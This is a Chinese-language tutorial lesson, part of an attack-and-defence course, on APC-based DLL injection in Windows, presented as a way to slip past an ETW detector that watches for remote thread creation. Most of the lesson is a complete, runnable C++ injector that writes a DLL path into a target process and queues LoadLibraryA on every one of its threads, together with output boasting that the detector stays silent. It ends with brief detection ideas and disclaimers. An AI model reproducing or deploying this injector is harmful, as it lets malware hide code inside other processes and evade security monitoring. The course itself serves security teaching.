阅读时间: 3-4 分钟
前置知识: 理解进程注入原理、ETW 检测机制、Windows API 基础
学习目标: 掌握 APC 注入技术,理解攻防对抗的下一轮演变


📺 配套视频教程

本文配套视频教程已发布在 B 站,建议结合视频学习效果更佳:

💡 提示: 点击视频右下角可全屏观看,建议配合文章食用!

视频链接: https://www.bilibili.com/video/BV1RjWqzzEK8/


承接上节:检测遇到新挑战

上节课,防御者用 ETW 建立了一道防线:

  • 监听线程创建事件
  • 比对 CreatorPID 与 TargetPID
  • 一旦不相等,立即报警

这确实把 02 节的 Shellcode 注入检测得很彻底。

但作为攻击方,我们需要分析这个检测的弱点在哪里。


攻击方的分析思路

防御者的检测逻辑:监听线程创建事件,比对 CreatorPID 和 TargetPID。

作为攻击方,我们问自己:这个检测依赖什么?

答案是:依赖内核产生 ThreadStart 事件

这个事件什么时候产生?

  • 调用 CreateRemoteThread
  • 或者底层的 NtCreateThreadEx 系统调用

事件产生后,ETW 才能拿到 CreatorPID/TargetPID 进行比对。


找到了盲区

那么绕过思路就出来了:
不创建新线程 → 不触发系统调用 → 不产生事件 → 检测失效

这就是 ETW 检测的盲区:只能看到”创建”,看不到”复用”。


攻击者的新思路

既然检测的是”创建新线程”,那我就:
不创建新线程,复用目标进程现有的线程!

目标进程里已经有很多线程在运行
我只需要”借用”一个线程
让它帮我执行代码就行了

这样:

  • 进程的线程数量不变
  • 没有”外部创建”的痕迹
  • ETW 检测器完全沉默

两条不创建新线程的注入路径

不创建新线程,怎么执行代码?有两个方向:

方向1:APC 注入(本节重点)

  • 利用 Windows 的 APC(异步过程调用)机制
  • 把回调函数插入目标线程的 APC 队列
  • 当线程进入”可警报状态”时,自动执行我们的代码
  • 温和:不修改线程上下文,不改寄存器

方向2:线程劫持(下节讲解)

  • 暂停目标线程
  • 直接修改线程的 RIP/EIP 寄存器(执行指针)
  • 让线程去执行我们的代码
  • 强硬:需要保存和恢复上下文,风险更高

本节先讲 APC 注入,因为它更容易理解,也更安全。


什么是 APC?

APC 全称 Asynchronous Procedure Call(异步过程调用)

这是 Windows 线程调度的一个特性:

  • 每个线程都有一个 APC 队列
  • 其他代码可以往这个队列里插入函数
  • 当线程进入**”可警报状态”**(Alertable)时,系统会自动执行队列里的函数

什么是可警报状态(Alertable)?

当线程调用这些函数时,就进入可警报状态:

  • SleepEx(time, TRUE) - 可中断的睡眠
  • WaitForSingleObjectEx(..., TRUE) - 可中断的等待
  • WaitForMultipleObjectsEx(..., TRUE)
  • SignalObjectAndWait(..., TRUE)
  • MsgWaitForMultipleObjectsEx(..., TRUE)

注意最后一个参数必须是 TRUE(表示 Alertable)

实际应用中哪些线程容易进入 Alertable?

  • GUI 线程:消息循环中的等待
  • I/O 线程:等待异步 I/O 完成
  • 工作线程:等待任务队列

核心目标与技术路线

核心目标:不创建新线程,把 DLL 加载代码注入到目标进程

技术路线:使用 APC 队列 + LoadLibrary

验证标准

  1. DLL 成功加载到目标进程
  2. 03 的 ETW 监听器不报警(无新线程创建事件)
  3. 目标进程稳定运行

动手实现 APC 注入

第一步:打开目标进程

1
2
3
4
5
HANDLE hProcess = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE,
dwProcessId
);

权限说明:

  • PROCESS_VM_OPERATION - 内存操作权限
  • PROCESS_VM_WRITE - 写入内存权限
  • PROCESS_VM_READ - 读取内存权限

为什么不需要 PROCESS_CREATE_THREAD?
因为 APC 注入不创建新线程!这正是绕过 ETW 检测的关键。


第二步:在目标进程中分配内存并写入 DLL 路径

1
2
3
4
5
6
7
8
9
10
SIZE_T pathLen = strlen(dllPath) + 1;
LPVOID pRemotePath = VirtualAllocEx(
hProcess,
NULL,
pathLen,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);

WriteProcessMemory(hProcess, pRemotePath, dllPath, pathLen, NULL);

为什么是 PAGE_READWRITE 而不是 PAGE_EXECUTE_READWRITE?

  • 这里只是存放字符串数据,不是代码
  • 不需要可执行权限
  • 降低可疑性

第三步:获取 LoadLibraryA 的地址

1
2
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
LPVOID pLoadLibraryA = (LPVOID)GetProcAddress(hKernel32, "LoadLibraryA");

为什么这个地址能直接用?

这涉及到 Windows 的 DLL 基址重定位 机制:

  • kernel32.dll 在所有进程中加载到相同的地址
  • 这是 Windows 为了提高性能做的优化(共享物理内存)
  • 所以我们进程中的地址 = 目标进程中的地址

第四步:枚举线程并入队 APC(核心步骤)

1
2
3
4
5
6
7
8
9
10
11
12
13
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te32 = { sizeof(THREADENTRY32) };

Thread32First(hSnapshot, &te32);
do {
if (te32.th32OwnerProcessID == dwProcessId) {
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, te32.th32ThreadID);
if (hThread) {
QueueUserAPC((PAPCFUNC)pLoadLibraryA, hThread, (ULONG_PTR)pRemotePath);
CloseHandle(hThread);
}
}
} while (Thread32Next(hSnapshot, &te32));

QueueUserAPC 深入解析

1
2
3
4
5
DWORD QueueUserAPC(
PAPCFUNC pfnAPC, // 要执行的函数地址
HANDLE hThread, // 目标线程句柄
ULONG_PTR dwData // 传给函数的参数
);

执行逻辑:

  1. 入队阶段(现在):

    • LoadLibraryA 函数地址放入线程的 APC 队列
    • 参数 pRemotePath 也一起保存
    • 此时什么都不会执行,只是”登记”
  2. 派发阶段(未来某个时刻):

    • 当线程调用 SleepEx(time, TRUE)WaitForSingleObjectEx(..., TRUE)
    • 线程进入 Alertable 状态
    • 系统检查 APC 队列,发现有回调
    • 系统自动调用:LoadLibraryA(pRemotePath)
    • DLL 被加载!

为什么要入队到所有线程?

因为我们不知道哪个线程会进入 Alertable 状态:

  • 可能是主线程(GUI 消息循环)
  • 可能是 I/O 线程(等待异步操作)
  • 可能是工作线程(等待任务队列)

所以我们”广撒网”,给所有线程都入队,提高成功率。


完整代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
/**
* @file 04-1-攻击篇-APC注入.cpp
* @brief APC 注入示例 - 不创建新线程的注入方式
* @author UD2
* @date 2025-01-13
*
* @details
* 本程序演示如何使用 APC (Asynchronous Procedure Call) 注入 DLL
* 核心思路:
* 1. 不创建新线程,复用目标进程现有线程
* 2. 通过 QueueUserAPC 将 LoadLibraryA 加入线程的 APC 队列
* 3. 当线程进入 Alertable 状态时,系统自动执行 LoadLibraryA
*
* 绕过原理:
* - 不调用 CreateRemoteThread,不触发 NtCreateThreadEx
* - 内核不产生 ThreadStart 事件
* - ETW 监听器无法检测到远程线程创建
*
* 局限性:
* - 必须等待线程进入 Alertable 状态 (SleepEx/WaitForSingleObjectEx(..., TRUE))
* - 执行时机不可控
*
* 仅供防御性安全研究与教学使用,严禁用于恶意目的
*/

#include <windows.h>
#include <tlhelp32.h>
#include <iostream>

/**
* @brief 使用 APC 注入 DLL,不创建新线程
* @param dwProcessId 目标进程 ID
* @param dllPath DLL 文件完整路径
* @return 成功返回 TRUE,失败返回 FALSE
* @details 通过向目标进程的线程 APC 队列插入 LoadLibrary 调用来加载 DLL
*/
BOOL InjectDllWithAPC(DWORD dwProcessId, const char* dllPath)
{
// 第一步:打开目标进程
HANDLE hProcess = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ,
FALSE,
dwProcessId
);
if (!hProcess)
{
std::cout << "打开进程失败,错误码: " << GetLastError() << "\n";
return FALSE;
}
std::cout << "成功打开目标进程\n";
// 第二步:在目标进程中分配内存并写入 DLL 路径
SIZE_T pathLen = strlen(dllPath) + 1;
LPVOID pRemotePath = VirtualAllocEx(
hProcess,
NULL,
pathLen,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE
);
if (!pRemotePath)
{
std::cout << "分配内存失败\n";
CloseHandle(hProcess);
return FALSE;
}
if (!WriteProcessMemory(hProcess, pRemotePath, dllPath, pathLen, NULL))
{
std::cout << "写入 DLL 路径失败\n";
VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
std::cout << "DLL 路径写入地址: 0x" << std::hex << pRemotePath << std::dec << "\n";
// 第三步:获取 LoadLibraryA 函数地址
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
LPVOID pLoadLibraryA = (LPVOID)GetProcAddress(hKernel32, "LoadLibraryA");
if (!pLoadLibraryA)
{
std::cout << "获取 LoadLibraryA 地址失败\n";
VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
std::cout << "LoadLibraryA 地址: 0x" << std::hex << pLoadLibraryA << std::dec << "\n";
// 第四步:枚举线程并入队 APC
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
if (hSnapshot == INVALID_HANDLE_VALUE)
{
std::cout << "创建线程快照失败\n";
VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
THREADENTRY32 te32 = { sizeof(THREADENTRY32) };
BOOL bSuccess = FALSE;
int apcCount = 0;
if (!Thread32First(hSnapshot, &te32))
{
CloseHandle(hSnapshot);
VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
std::cout << "\n开始枚举线程并入队 APC...\n";
// 遍历所有线程
do
{
if (te32.th32OwnerProcessID == dwProcessId)
{
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, te32.th32ThreadID);
if (hThread)
{
if (QueueUserAPC((PAPCFUNC)pLoadLibraryA, hThread, (ULONG_PTR)pRemotePath))
{
std::cout << " [+] APC 已入队到线程 " << te32.th32ThreadID << "\n";
apcCount++;
bSuccess = TRUE;
}
CloseHandle(hThread);
}
}
} while (Thread32Next(hSnapshot, &te32));
CloseHandle(hSnapshot);
// 第五步:输出结果
if (bSuccess)
{
std::cout << "\n=== APC 注入成功 ===\n";
std::cout << "已向 " << apcCount << " 个线程入队 APC\n";
std::cout << "等待目标线程进入 Alertable 状态...\n";
std::cout << "(线程调用 SleepEx/WaitForSingleObjectEx 等函数时会触发)\n";
std::cout << "\n提示:没有创建新线程,ETW 检测器不会报警!\n";
}
else
{
std::cout << "APC 入队失败\n";
VirtualFreeEx(hProcess, pRemotePath, 0, MEM_RELEASE);
CloseHandle(hProcess);
return FALSE;
}
CloseHandle(hProcess);
return TRUE;
}

/**
* @brief 程序入口
* @return 程序退出码
*/
int main()
{
std::cout << "=== APC 注入 - 不创建新线程 ===\n\n";
std::cout << "警告:本程序仅供防御性安全研究与教学使用\n";
std::cout << " 严禁用于恶意目的\n\n";

DWORD targetPid;
std::cout << "请输入目标进程 PID: ";
std::cin >> targetPid;
const char* dllPath = "C:\\Injection.dll";
InjectDllWithAPC(targetPid, dllPath);

system("pause");
return 0;
}

验证 APC 注入效果

测试步骤

  1. 启动 03 的 ETW 监听器

    • 监听目标进程的线程创建事件
  2. 运行 APC 注入程序

    • 输入目标进程 PID
    • 注入 DLL

验证效果

APC注入绕过效果

如图所示:

  • 左侧:APC 注入程序成功运行,DLL 被加载并弹出提示框
  • 右侧:ETW 监听器显示”无任何线程创建事件
  • 绕过成功! 没有创建新线程,检测器无法捕获

APC 注入的优势与局限

优势

  • ✅ 不创建新线程,避免触发线程创建事件
  • ✅ ETW 检测器无法检测
  • ✅ 复用现有线程,不改变进程线程数量
  • ✅ 不修改线程上下文,相对安全

局限

  • ❌ 依赖 Alertable 状态(必须等待线程进入可警报状态)
  • ❌ 执行时机不可控
  • ❌ 如果线程从不调用相关函数,APC 永远不会执行
  • ❌ 仍需要高权限访问和内存操作

防御者的反思

虽然 APC 注入绕过了线程创建检测,但并非无迹可寻。

可能的检测点:

  • 监控 QueueUserAPC 调用
  • 监控高权限进程访问
  • 检测未知模块加载
  • 行为关联分析

下节课预告

攻击者虽然绕过了 ETW 的线程创建检测,但 APC 注入真的完美无缺吗?

下节课,我们将回到防御者视角:检测 APC 注入

  • 防御者能监控到哪些关键行为?
  • 如何区分合法操作与恶意注入?
  • 能否构建完整的攻击链检测?

攻防螺旋再次上升!防御者不会坐以待毙!


互动讨论

欢迎在评论区讨论以下问题:

  1. 如果你是防御者,你会从哪个角度入手检测 APC 注入?
  2. APC 注入有什么其他可能的缺点或风险?
  3. 攻防对抗的本质是什么?

⚠️ 本课程内容仅供防御性安全研究与教学使用,请勿用于非法用途。